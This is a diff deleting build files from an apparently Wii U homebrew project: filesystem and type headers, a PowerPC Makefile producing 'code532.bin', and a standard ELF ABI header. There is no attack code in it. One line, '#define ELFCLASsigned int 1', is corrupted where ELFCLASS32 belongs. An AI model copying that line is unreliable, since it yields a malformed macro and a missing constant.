||||
#define FS_STATUS_STORAGE_FULL -12
|
||||
#define FS_STATUS_JOURNAL_FULL -13
|
||||
|
||||
|
||||
#define FS_RET_UNSUPPORTED_CMD 0x0400
|
||||
#define FS_RET_NO_ERROR 0x0000
|
||||
#define FS_RET_ALL_ERROR (uint)(-1)
|
||||
|
||||
|
||||
/* directory entry stat flag */
|
||||
#define FS_STAT_ATTRIBUTES_SIZE (48) /* size of FS-specific attributes field */
|
||||
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 /* entry is directory */
|
||||
|
||||
/* max length of file/dir name */
|
||||
#define FS_MAX_ENTNAME_SIZE 256
|
||||
|
||||
/* typedef FSStatus, FSRetFlag*/
|
||||
typedef int FSStatus;
|
||||
typedef uint FSRetFlag;
|
||||
typedef uint FSFlag;
|
||||
|
||||
/* FS Mount */
|
||||
typedef enum
|
||||
{
|
||||
FS_SOURCETYPE_EXTERNAL = 0, // Manual mounted external device
|
||||
FS_SOURCETYPE_HFIO, // Host file IO
|
||||
FS_SOURCETYPE_MAX
|
||||
} FSSourceType;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
FSSourceType type;
|
||||
char path[FS_MAX_ARGPATH_SIZE];
|
||||
} FSMountSource;
|
||||
|
||||
/* FS Client context buffer */
|
||||
typedef struct
|
||||
{
|
||||
uint8_t buffer[5888];
|
||||
} FSClient;
|
||||
|
||||
/* FS command block buffer */
|
||||
typedef struct
|
||||
{
|
||||
uint8_t buffer[2688];
|
||||
} FSCmdBlock;
|
||||
|
||||
/* File/Dir status */
|
||||
typedef struct
|
||||
{
|
||||
uint flag;
|
||||
uint permission;
|
||||
uint owner_id;
|
||||
uint group_id;
|
||||
uint size;
|
||||
uint alloc_size;
|
||||
uint64_t quota_size;
|
||||
uint ent_id;
|
||||
uint64_t ctime;
|
||||
uint64_t mtime;
|
||||
uint8_t attributes[FS_STAT_ATTRIBUTES_SIZE];
|
||||
} __attribute__((packed)) FSStat;
|
||||
|
||||
/* Directory entry */
|
||||
typedef struct
|
||||
{
|
||||
FSStat stat;
|
||||
char name[FS_MAX_ENTNAME_SIZE];
|
||||
} FSDirEntry;
|
||||
|
||||
#endif /* FS_DEFS_H */
|
||||
|
@ -1,22 +0,0 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
/* Define base types */
|
||||
typedef unsigned long long uint64_t;
|
||||
typedef long long int64_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef unsigned int uint;
|
||||
typedef int int32_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef short int16_t;
|
||||
typedef unsigned char uint8_t;
|
||||
typedef char int8_t;
|
||||
|
||||
typedef _Bool bool;
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define null 0
|
||||
|
||||
|
||||
#endif /* TYPES_H */
|
||||
|
@ -1,31 +0,0 @@
|
||||
CC=powerpc-eabi-gcc
|
||||
CFLAGS=-std=gnu99 -nostdinc -fno-builtin -c
|
||||
LD=powerpc-eabi-ld
|
||||
LDFLAGS=-Ttext 1800000 --oformat binary
|
||||
project := .
|
||||
root:=$(CURDIR)
|
||||
build := $(root)/bin
|
||||
libs := $(root)/../../libwiiu/bin
|
||||
www :=$(root)/../../www
|
||||
framework:=$(root)/../../framework
|
||||
|
||||
all: clean setup client main532
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
client:
|
||||
cd ../client/ && make
|
||||
|
||||
main532:
|
||||
$(CC) $(CFLAGS) -DVER=532 $(project)/saviine.c
|
||||
#-Wa,-a,-ad
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
#$(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/saviine.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "saviine.o"`
|
||||
$(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/saviine.o `find $(build) -name "*.o" ! -name "saviine.o"` -L"$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2" -lgcc
|
||||
|
||||
clean:
|
||||
make -C ../client/ clean
|
||||
rm -rf $(build)/*
|
||||
|
Binary file not shown.
Binary file not shown.
@ -1,591 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 1995, 1996, 2001, 2002
|
||||
* Erik Theisen. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This is the ELF ABI header file
|
||||
* formerly known as "elf_abi.h".
|
||||
*/
|
||||
|
||||
#ifndef _ELF_ABI_H
|
||||
#define _ELF_ABI_H
|
||||
|
||||
/*
|
||||
* This version doesn't work for 64-bit ABIs - Erik.
|
||||
*/
|
||||
|
||||
/*
|
||||
* These typedefs need to be handled better.
|
||||
*/
|
||||
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||
|
||||
/* e_ident[] identification indexes */
|
||||
#define EI_MAG0 0 /* file ID */
|
||||
#define EI_MAG1 1 /* file ID */
|
||||
#define EI_MAG2 2 /* file ID */
|
||||
#define EI_MAG3 3 /* file ID */
|
||||
#define EI_CLASS 4 /* file class */
|
||||
#define EI_DATA 5 /* data encoding */
|
||||
#define EI_VERSION 6 /* ELF header version */
|
||||
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||
#define EI_ABIVERSION 8 /* ABI target version */
|
||||
#define EI_PAD 9 /* start of pad bytes */
|
||||
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||
|
||||
/* e_ident[] magic number */
|
||||
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||
#define ELFMAG "\177ELF" /* magic */
|
||||
#define SELFMAG 4 /* size of magic */
|
||||
|
||||
/* e_ident[] file class */
|
||||
#define ELFCLASSNONE 0 /* invalid */
|
||||
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||
#define ELFCLASS64 2 /* 64-bit objs */
|
||||
#define ELFCLASSNUM 3 /* number of classes */
|
||||
|
||||
/* e_ident[] data encoding */
|
||||
#define ELFDATANONE 0 /* invalid */
|
||||
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||
#define ELFDATANUM 3 /* number of data encode defines */
|
||||
|
||||
/* e_ident[] OS/ABI specific ELF extensions */
|
||||
#define ELFOSABI_NONE 0 /* No extension specified */
|
||||
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||
#define ELFOSABI_LINUX 3 /* Linux */
|
||||
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||
#define ELFOSABI_AIX 7 /* AIX */
|
||||
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||
/* 64-255 Architecture-specific value range */
|
||||
|
||||
/* e_ident[] ABI Version */
|
||||
#define ELFABIVERSION 0
|
||||
|
||||
/* e_ident */
|
||||
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||
|
||||
/* ELF Header */
|
||||
typedef struct elfhdr{
|
||||
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||
Elf32_Half e_type; /* object file type */
|
||||
Elf32_Half e_machine; /* machine */
|
||||
Elf32_Word e_version; /* object file version */
|
||||
Elf32_Addr e_entry; /* virtual entry point */
|
||||
Elf32_Off e_phoff; /* program header table offset */
|
||||
Elf32_Off e_shoff; /* section header table offset */
|
||||
Elf32_Word e_flags; /* processor-specific flags */
|
||||
Elf32_Half e_ehsize; /* ELF header size */
|
||||
Elf32_Half e_phentsize; /* program header entry size */
|
||||
Elf32_Half e_phnum; /* number of program header entries */
|
||||
Elf32_Half e_shentsize; /* section header entry size */
|
||||
Elf32_Half e_shnum; /* number of section header entries */
|
||||
Elf32_Half e_shstrndx; /* section header table's "section
|
||||
header string table" entry offset */
|
||||
} Elf32_Ehdr;
|
||||
|
||||
/* e_type */
|
||||
#define ET_NONE 0 /* No file type */
|
||||
#define ET_REL 1 /* relocatable file */
|
||||
#define ET_EXEC 2 /* executable file */
|
||||
#define ET_DYN 3 /* shared object file */
|
||||
#define ET_CORE 4 /* core file */
|
||||
#define ET_NUM 5 /* number of types */
|
||||
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define ET_HIPROC 0xffff /* specific e_type */
|
||||
|
||||
/* e_machine */
|
||||
#define EM_NONE 0 /* No Machine */
|
||||
#define EM_M32 1 /* AT&T WE 32100 */
|
||||
#define EM_SPARC 2 /* SPARC */
|
||||
#define EM_386 3 /* Intel 80386 */
|
||||
#define EM_68K 4 /* Motorola 68000 */
|
||||
#define EM_88K 5 /* Motorola 88000 */
|
||||
#if 0
|
||||
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||
#endif
|
||||
#define EM_860 7 /* Intel 80860 */
|
||||
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||
#define EM_S370 9 /* IBM System/370 Processor */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||
#if 0
|
||||
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||
64-bit unoffical */
|
||||
#endif
|
||||
/* RESERVED 11-14 for future use */
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
/* RESERVED 16 for future use */
|
||||
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||
#define EM_960 19 /* Intel 80960 */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||
#define EM_S390 22 /* IBM System/390 Processor */
|
||||
/* RESERVED 23-35 for future use */
|
||||
#define EM_V800 36 /* NEC V800 */
|
||||
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||
#define EM_RH32 38 /* TRW RH-32 */
|
||||
#define EM_RCE 39 /* Motorola RCE */
|
||||
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||
#define EM_ALPHA 41 /* Digital Alpha */
|
||||
#define EM_SH 42 /* Hitachi SH */
|
||||
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||
#define EM_H8S 48 /* Hitachi H8S */
|
||||
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||
#define EM_IA_64 50 /* Intel Merced */
|
||||
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||
#define EM_PCP 55 /* Siemens PCP */
|
||||
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||
/* RESERVED 64,65 for future use */
|
||||
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||
#define EM_VAX 75 /* Digital VAX */
|
||||
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||
#define EM_PRISM 82 /* SiTera Prism */
|
||||
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||
#define EM_V850 87 /* NEC v850 */
|
||||
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||
#define EM_PJ 91 /* picoJava */
|
||||
#define EM_NUM 92 /* number of machine types */
|
||||
|
||||
/* Version */
|
||||
#define EV_NONE 0 /* Invalid */
|
||||
#define EV_CURRENT 1 /* Current */
|
||||
#define EV_NUM 2 /* number of versions */
|
||||
|
||||
/* Section Header */
|
||||
typedef struct {
|
||||
Elf32_Word sh_name; /* name - index into section header
|
||||
string table section */
|
||||
Elf32_Word sh_type; /* type */
|
||||
Elf32_Word sh_flags; /* flags */
|
||||
Elf32_Addr sh_addr; /* address */
|
||||
Elf32_Off sh_offset; /* file offset */
|
||||
Elf32_Word sh_size; /* section size */
|
||||
Elf32_Word sh_link; /* section header table index link */
|
||||
Elf32_Word sh_info; /* extra information */
|
||||
Elf32_Word sh_addralign; /* address alignment */
|
||||
Elf32_Word sh_entsize; /* section entry size */
|
||||
} Elf32_Shdr;
|
||||
|
||||
/* Special Section Indexes */
|
||||
#define SHN_UNDEF 0 /* undefined */
|
||||
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||
#define SHN_ABS 0xfff1 /* absolute value */
|
||||
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||
|
||||
/* sh_type */
|
||||
#define SHT_NULL 0 /* inactive */
|
||||
#define SHT_PROGBITS 1 /* program defined information */
|
||||
#define SHT_SYMTAB 2 /* symbol table section */
|
||||
#define SHT_STRTAB 3 /* string table section */
|
||||
#define SHT_RELA 4 /* relocation section with addends*/
|
||||
#define SHT_HASH 5 /* symbol hash table section */
|
||||
#define SHT_DYNAMIC 6 /* dynamic section */
|
||||
#define SHT_NOTE 7 /* note section */
|
||||
#define SHT_NOBITS 8 /* no space section */
|
||||
#define SHT_REL 9 /* relation section without addends */
|
||||
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||
#define SHT_GROUP 17 /* Section group */
|
||||
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||
#define SHT_NUM 19 /* number of section types */
|
||||
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||
#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||
|
||||
/* Section names */
|
||||
#define ELF_BSS ".bss" /* uninitialized data */
|
||||
#define ELF_COMMENT ".comment" /* version control information */
|
||||
#define ELF_DATA ".data" /* initialized data */
|
||||
#define ELF_DATA1 ".data1" /* initialized data */
|
||||
#define ELF_DEBUG ".debug" /* debug */
|
||||
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||
#define ELF_FINI ".fini" /* termination code */
|
||||
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||
#define ELF_GOT ".got" /* global offset table */
|
||||
#define ELF_HASH ".hash" /* symbol hash table */
|
||||
#define ELF_INIT ".init" /* initialization code */
|
||||
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||
#define ELF_NOTE ".note" /* Contains note section */
|
||||
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||
#define ELF_RODATA ".rodata" /* read-only data */
|
||||
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||
#define ELF_STRTAB ".strtab" /* string table */
|
||||
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||
#define ELF_TEXT ".text" /* code */
|
||||
|
||||
/* Section Attribute Flags - sh_flags */
|
||||
#define SHF_WRITE 0x1 /* Writable */
|
||||
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||
#define SHF_EXECINSTR 0x4 /* executable */
|
||||
#define SHF_MERGE 0x10 /* Might be merged */
|
||||
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||
#define SHF_GROUP 0x200 /* Member of section group */
|
||||
#define SHF_TLS 0x400 /* Thread local storage */
|
||||
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific section attributes */
|
||||
|
||||
/* Section Group Flags */
|
||||
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||
|
||||
/* Symbol Table Entry */
|
||||
typedef struct elf32_sym {
|
||||
Elf32_Word st_name; /* name - index into string table */
|
||||
Elf32_Addr st_value; /* symbol value */
|
||||
Elf32_Word st_size; /* symbol size */
|
||||
unsigned char st_info; /* type and binding */
|
||||
unsigned char st_other; /* 0 - no defined meaning */
|
||||
Elf32_Half st_shndx; /* section header index */
|
||||
} Elf32_Sym;
|
||||
|
||||
/* Symbol table index */
|
||||
#define STN_UNDEF 0 /* undefined */
|
||||
|
||||
/* Extract symbol info - st_info */
|
||||
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||
|
||||
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||
#define STB_LOCAL 0 /* Local symbol */
|
||||
#define STB_GLOBAL 1 /* Global symbol */
|
||||
#define STB_WEAK 2 /* like global - lower precedence */
|
||||
#define STB_NUM 3 /* number of symbol bindings */
|
||||
#define STB_LOOS 10 /* reserved range for operating */
|
||||
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||
#define STB_LOPROC 13 /* reserved range for processor */
|
||||
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||
|
||||
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||
#define STT_NOTYPE 0 /* not specified */
|
||||
#define STT_OBJECT 1 /* data object */
|
||||
#define STT_FUNC 2 /* function */
|
||||
#define STT_SECTION 3 /* section */
|
||||
#define STT_FILE 4 /* file */
|
||||
#define STT_NUM 5 /* number of symbol types */
|
||||
#define STT_TLS 6 /* Thread local storage symbol */
|
||||
#define STT_LOOS 10 /* reserved range for operating */
|
||||
#define STT_HIOS 12 /* system specific symbol types */
|
||||
#define STT_LOPROC 13 /* reserved range for processor */
|
||||
#define STT_HIPROC 15 /* specific symbol types */
|
||||
|
||||
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||
|
||||
|
||||
/* Relocation entry with implicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
} Elf32_Rel;
|
||||
|
||||
/* Relocation entry with explicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
Elf32_Sword r_addend;
|
||||
} Elf32_Rela;
|
||||
|
||||
/* Extract relocation info - r_info */
|
||||
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||
|
||||
/* Program Header */
|
||||
typedef struct {
|
||||
Elf32_Word p_type; /* segment type */
|
||||
Elf32_Off p_offset; /* segment offset */
|
||||
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||
Elf32_Word p_flags; /* flags */
|
||||
Elf32_Word p_align; /* memory alignment */
|
||||
} Elf32_Phdr;
|
||||
|
||||
/* Segment types - p_type */
|
||||
#define PT_NULL 0 /* unused */
|
||||
#define PT_LOAD 1 /* loadable segment */
|
||||
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||
#define PT_INTERP 3 /* the RTLD */
|
||||
#define PT_NOTE 4 /* auxiliary information */
|
||||
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||
#define PT_PHDR 6 /* program header */
|
||||
#define PT_TLS 7 /* Thread local storage template */
|
||||
#define PT_NUM 8 /* Number of segment types */
|
||||
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||
|
||||
/* Segment flags - p_flags */
|
||||
#define PF_X 0x1 /* Executable */
|
||||
#define PF_W 0x2 /* Writable */
|
||||
#define PF_R 0x4 /* Readable */
|
||||
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific segment flags */
|
||||
/* Dynamic structure */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||
union
|
||||
{
|
||||
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||
Elf32_Addr d_ptr; /* program virtual address */
|
||||
} d_un;
|
||||
} Elf32_Dyn;
|
||||
|
||||
extern Elf32_Dyn _DYNAMIC[];
|
||||
|
||||
/* Dynamic Array Tags - d_tag */
|
||||
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||
#define DT_HASH 4 /* address of symbol hash table */
|
||||
#define DT_STRTAB 5 /* address of string table */
|
||||
#define DT_SYMTAB 6 /* address of symbol table */
|
||||
#define DT_RELA 7 /* address of relocation table */
|
||||
#define DT_RELASZ 8 /* size of relocation table */
|
||||
#define DT_RELAENT 9 /* size of relocation entry */
|
||||
#define DT_STRSZ 10 /* size of string table */
|
||||
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||
#define DT_INIT 12 /* address of initialization func. */
|
||||
#define DT_FINI 13 /* address of termination function */
|
||||
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||
#define DT_RPATH 15 /* string table offset of library
|
||||
search path */
|
||||
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||
#define DT_DEBUG 21 /* bugger */
|
||||
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||
#define DT_RUNPATH 29 /* Library search path */
|
||||
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||
#define DT_ENCODING 32 /* Start of encoded range */
|
||||
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||
#define DT_NUM 34 /* Number used. */
|
||||
